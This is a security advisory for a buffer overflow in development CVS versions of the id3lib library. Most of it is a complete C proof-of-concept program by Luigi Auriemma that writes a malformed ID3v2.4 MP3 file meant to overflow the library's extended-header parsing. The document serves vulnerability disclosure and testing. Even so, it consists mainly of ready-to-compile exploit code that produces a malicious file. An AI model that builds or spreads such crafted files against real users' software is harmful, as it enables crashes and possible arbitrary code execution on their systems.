id3lib ID3 Tags Buffer Overflow Vulnerability

                                                source: http://www.securityfocus.com/bid/26945/info

The 'id3lib' library is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application or to crash the application, denying further service to legitimate users.

This issue affects versions of id3lib committed to the CVS repository; other versions may also be affected.

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>



#define VER     "0.1"
#define u8      unsigned char
#define MASK(bits) ((1 << (bits)) - 1)



int w28(u8 *data, unsigned num);
void std_err(void);



int main(int argc, char *argv[]) {
    FILE    *fd;
    int     i;
    u8      buff[1024],
            *p;

    setbuf(stdout, NULL);

    fputs("\n"
        "id3lib (devel CVS) array overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: [email protected]\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <output.MP3>\n"
            "\n", argv[0]);
        exit(1);
    }

    p = buff;
    *p++ = 'I';         // "ID3"
    *p++ = 'D';
    *p++ = '3';
    *p++ = 4;           // ID3v2 4.0
    *p++ = 0;
    *p++ = 1 << 6;      // flags: extended
    p += w28(p, 0);     // this->SetDataSize
    p += w28(p, 0);     // not used by id3lib
    *p++ = 6;           // extflagbytes
    for(i = 0; i < 20; i++) {
        *p++ = 0xcc;
    }

    printf("- create file %s\n", argv[1]);
    fd = fopen(argv[1], "wb");
    if(!fd) std_err();
    fwrite(buff, 1, p - buff, fd);
    fclose(fd);
    printf("- done\n");
    return(0);
}



int w28(u8 *data, unsigned num) {
    const unsigned short BITSUSED = 7;
    const unsigned MAXVAL = MASK(BITSUSED * 4);
    int     i;

    if(num > MAXVAL) num = MAXVAL;

    for(i = 0; i < 4; i++) {
        data[4 - i - 1] = num & MASK(BITSUSED);
        num >>= BITSUSED;
    }
    return(4);
}



void std_err(void) {
    perror("\nError");
    exit(1);
}